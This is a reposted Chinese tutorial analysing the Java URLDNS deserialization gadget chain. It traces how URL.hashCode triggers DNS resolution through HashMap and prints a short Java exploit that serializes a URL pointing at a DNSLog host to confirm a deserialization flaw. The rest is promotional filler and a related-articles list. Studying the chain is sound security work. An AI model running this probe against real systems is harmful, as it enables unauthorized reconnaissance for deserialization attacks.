Java安全 URLDNS链分析,网络安全开发面试基础

这篇具有很好参考价值的文章主要介绍了Java安全 URLDNS链分析,网络安全开发面试基础。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

this代表的是当前对象的指针,也可以用 this.name 的方式调用当前对象中的成员

那我们去URLStreamHandler类当中,查看下hashCode方法的代码

protected int hashCode(URL u) {
int h = 0;

// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();

// Generate the host part.
InetAddress addr = getHostAddress(u);
if (addr != null) {
h += addr.hashCode();
} else {
String host = u.getHost();
if (host != null)
h += host.toLowerCase().hashCode();
}

// Generate the file part.
String file = u.getFile();
if (file != null)
h += file.hashCode();

// Generate the port part.
if (u.getPort() == -1)
h += getDefaultPort();
else
h += u.getPort();

// Generate the ref part.
String ref = u.getRef();
if (ref != null)
h += ref.hashCode();

return h;
}

我们看到 hashcode 方法接收一个URL类型的参数,然后对接收的 URL对象,也就是前面的key执行InetAddress addr = getHostAddress(u);并会把求出的 hash值 返回给 URL对象中的hashCode属性(这里记住,下面有用到)

getHostAddress函数会对URL对象代表的链接进行DNS解析,获取其ip地址,我们使用 DNSLog 平台可以检测到该函数的访问

exp编写

思路整理

根据上面的链路分析,我们首先需要创建一个指向DNSLog平台链接URL对象,然后作为传入HashMap数组,最后将该数组进行序列化,然后反序列化调用其readObject方法,将URL对象赋值给key,然后使用hash方法处理URL对象,再调用URL对象的hashcode方法,然后以URL对象为参数,传入URLStreamHandler类的hashCode方法,对URL对象指向的链接进行访问

初步exp

现在的exp大体如下

import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class URLDNS {
public static void main(String[] args) throws Exception {
HashMap map = new HashMap();
URL url = new URL(“http://j0obud.dnslog.cn/”);//这里替换为DNSLog平台分配的地址
map.put(url,“114”);//键值用不到,随便设置
try {
FileOutputStream outputStream = new FileOutputStream(“./2.ser”);
ObjectOutputStream outputStream1 = new ObjectOutputStream(outputStream);
outputStream1.writeObject(map);
outputStream.close();
outputStream1.close();
FileInputStream inputStream = new FileInputStream(“./2.ser”);
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
objectInputStream.readObject();
objectInputStream.close();
inputStream.close();
}catch (Exception e){
e.printStackTrace();
}
}
}

我们在第13行打个断点,也就是try的这一行
Java安全 URLDNS链分析,网络安全开发面试基础,2024年程序员学习,安全,java,web安全

然后运行代码,发现未经序列化与反序列化仍然能对url进行DNS解析
Java安全 URLDNS链分析,网络安全开发面试基础,2024年程序员学习,安全,java,web安全
正是下面这一行代码导致了url的提前解析

map.put(url,“114”);//键值用不到,随便设置

我们去看下map(HashMap类)的put方法,代码如下

public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}

我们发现,这个put方法readObject方法触发的语句完全一样,同样会对URL对象执行HashMap类中的hash方法,然后就和上文所述的过程相同,最总到达hashCode方法,对URL对象解析

return putVal(hash(key), key, value, false, true);

下面是这两个方法的语句对比可以看到是一模一样的

put方法:
Java安全 URLDNS链分析,网络安全开发面试基础,2024年程序员学习,安全,java,web安全
readObject方法:

Java安全 URLDNS链分析,网络安全开发面试基础,2024年程序员学习,安全,java,web安全
需要注意的是假如提前触发的话,反序列化的时候便不会再进行DNS解析

我们再次回到URL类中的hashCode方法,并看一下其hashCode属性的定义

private int hashCode = -1;
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;

hashCode = handler.hashCode(this);
return hashCode;
}

可以看到只有当 hashCode = -1时,才会执行hashCode = handler.hashCode(this);,从而到下一步DNS解析,然后 hashCode属性被赋值为这个URL解析的哈希值,从而为一个很长的正数,从而不为 -1,然后序列化的时候这个hashCode属性值保持不变,当反序列化到hashCode方法时,以为 hashCode != -1 直接进入if,执行return hashCode;,最终到这里就断掉了,无法触发DNS解析

自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。

深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!

因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
Java安全 URLDNS链分析,网络安全开发面试基础,2024年程序员学习,安全,java,web安全
Java安全 URLDNS链分析,网络安全开发面试基础,2024年程序员学习,安全,java,web安全
Java安全 URLDNS链分析,网络安全开发面试基础,2024年程序员学习,安全,java,web安全
Java安全 URLDNS链分析,网络安全开发面试基础,2024年程序员学习,安全,java,web安全
Java安全 URLDNS链分析,网络安全开发面试基础,2024年程序员学习,安全,java,web安全
Java安全 URLDNS链分析,网络安全开发面试基础,2024年程序员学习,安全,java,web安全

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点,真正体系化!

由于文件比较大,这里只是将部分目录大纲截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且后续会持续更新

如果你觉得这些内容对你有帮助,可以添加VX:vip204888 (备注网络安全获取)
Java安全 URLDNS链分析,网络安全开发面试基础,2024年程序员学习,安全,java,web安全

写在最后

在结束之际,我想重申的是,学习并非如攀登险峻高峰,而是如滴水穿石般的持久累积。尤其当我们步入工作岗位之后,持之以恒的学习变得愈发不易,如同在茫茫大海中独自划舟,稍有松懈便可能被巨浪吞噬。然而,对于我们程序员而言,学习是生存之本,是我们在激烈市场竞争中立于不败之地的关键。一旦停止学习,我们便如同逆水行舟,不进则退,终将被时代的洪流所淘汰。因此,不断汲取新知识,不仅是对自己的提升,更是对自己的一份珍贵投资。让我们不断磨砺自己,与时代共同进步,书写属于我们的辉煌篇章。

需要完整版PDF学习资源私我

一个人可以走的很快,但一群人才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎扫码加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
Java安全 URLDNS链分析,网络安全开发面试基础,2024年程序员学习,安全,java,web安全

让我们不断磨砺自己,与时代共同进步,书写属于我们的辉煌篇章。**

需要完整版PDF学习资源私我

一个人可以走的很快,但一群人才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎扫码加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
[外链图片转存中…(img-oUDaCWLg-1712498457109)]文章来源地址https://www.toymoban.com/news/detail-856366.html

到了这里,关于Java安全 URLDNS链分析,网络安全开发面试基础的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 网络安全(大厂)面试题

    注:本套面试题,已整理成pdf文档,但内容还在持续更新中,因为无论如何都不可能覆盖所有的面试问题,更多的还是希望由点达面,查漏补缺。 ​ 1、拿到一个待检测的站,你觉得应该先做什么? 1.1 信息收集 ① 获取域名的whois信息,获取注册者邮箱姓名电话等。 ② 查询服

    2024年02月11日
    浏览(9)
  • 网络安全大厂面试题

     自我介绍 有没有挖过src? 平时web渗透怎么学的,有实战吗?有过成功发现漏洞的经历吗? 做web渗透时接触过哪些工具 xxe漏洞是什么?ssrf是什么? 打ctf的时候负责什么方向的题 为什么要搞信息安全,对安全这一块有多大的兴趣,以后会不会转行,还是打算一直从事安全方

    2024年02月15日
    浏览(14)
  • 网络安全【黑客】面试题汇总

    一眨眼2023年已经过去一大半,不知道大家有没有找到心仪的工作。作为一个安全老鸟,工作这么多年,面试过很多人也出过很多面试题目,也在网上收集了各类关于渗透面试题目,里面有我对一些问题的见解,希望能对大家有所帮助。 1.1、什么是 SQL 注入攻击?如何防止 S

    2024年02月12日
    浏览(10)
  • 网络安全大厂面试题合集

      注:本套面试题,已整理成pdf文档,但内容还在持续更新中,因为无论如何都不可能覆盖所有的面试问题,更多的还是希望由点达面,查漏补缺。 ​ 1、防范常见的 Web 攻击 2、重要协议分布层 3、arp协议的工作原理 4、rip协议是什么?rip的工作原理 5、什么是RARP?工作原理

    2024年02月09日
    浏览(28)
  • 网络安全工程师 - 面试手册

    网络安全和渗透测试工程师负责确保企业网络系统和应用程序的安全性。他们通过模拟黑客攻击来发现和修复潜在的安全漏洞,同时也负责制定和实施网络安全策略。这一岗位需要具备丰富的网络安全知识,以及熟练的渗透测试技能。 评估和修复网络安全漏洞,提高网络系统

    2024年02月02日
    浏览(31)
  • 100个网络安全测试面试题

    1、Burpsuite常用的功能是什么? 2、reverse_tcp和bind_tcp的区别? 3、拿到一个待检测的站或给你一个网站,你觉得应该先做什么? 4、你在渗透测试过程中是如何敏感信息收集的? 5、你平时去哪些网站进行学习、挖漏洞提交到哪些平台? 6、判断出网站的CMS对渗透有什么意义?

    2024年02月12日
    浏览(13)
  • 260道网络安全工程师面试题(附答案)_安全服务工程师面试题

    由于我之前写了不少网络安全技术相关的文章和回答,不少读者朋友知道我是从事网络安全相关的工作,于是经常有人私信问我: 我刚入门网络安全,该怎么学? 想找网络安全工作,应该要怎么进行技术面试准备? 工作不到 2 年,想跳槽看下机会,有没有相关的面试题呢?

    2024年02月07日
    浏览(20)
  • [java安全]URLDNS

    前言 URLDNS 利用链是一条很简单的链子,可以用来查看java反序列化是否存在反序列化漏洞,如果存在,就会触发dns查询请求 它有如下优点: 使用java内置类构造,对第三方库没有依赖 在目标没有回显的时候,可以使用DNS请求得知是否存在反序列化漏洞 在ysoserial下生成URLDNS的

    2024年02月16日
    浏览(8)
  • 164到网络安全面试大全(附答案)

    想找网络安全工作,应该要怎么进行技术面试准备? 工作不到 2 年,想跳槽看下机会,有没有相关的面试题呢? 为了更好地帮助大家高薪就业,今天就给大家分享 两份 网络安全工程师面试题,一共有 164道面试真题 ,希望它们能够帮助大家在面试中,少走一些弯路、更快拿

    2024年02月10日
    浏览(13)
  • 网络安全秋招面试题+(含答案)

    自我介绍 有没有挖过src? 平时web渗透怎么学的,有实战吗?有过成功发现漏洞的经历吗? 做web渗透时接触过哪些工具 xxe漏洞是什么?ssrf是什么? 打ctf的时候负责什么方向的题 为什么要搞信息安全,对安全这一块有多大的兴趣,以后会不会转行,还是打算一直从事安全方面

    2024年02月16日
    浏览(14)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包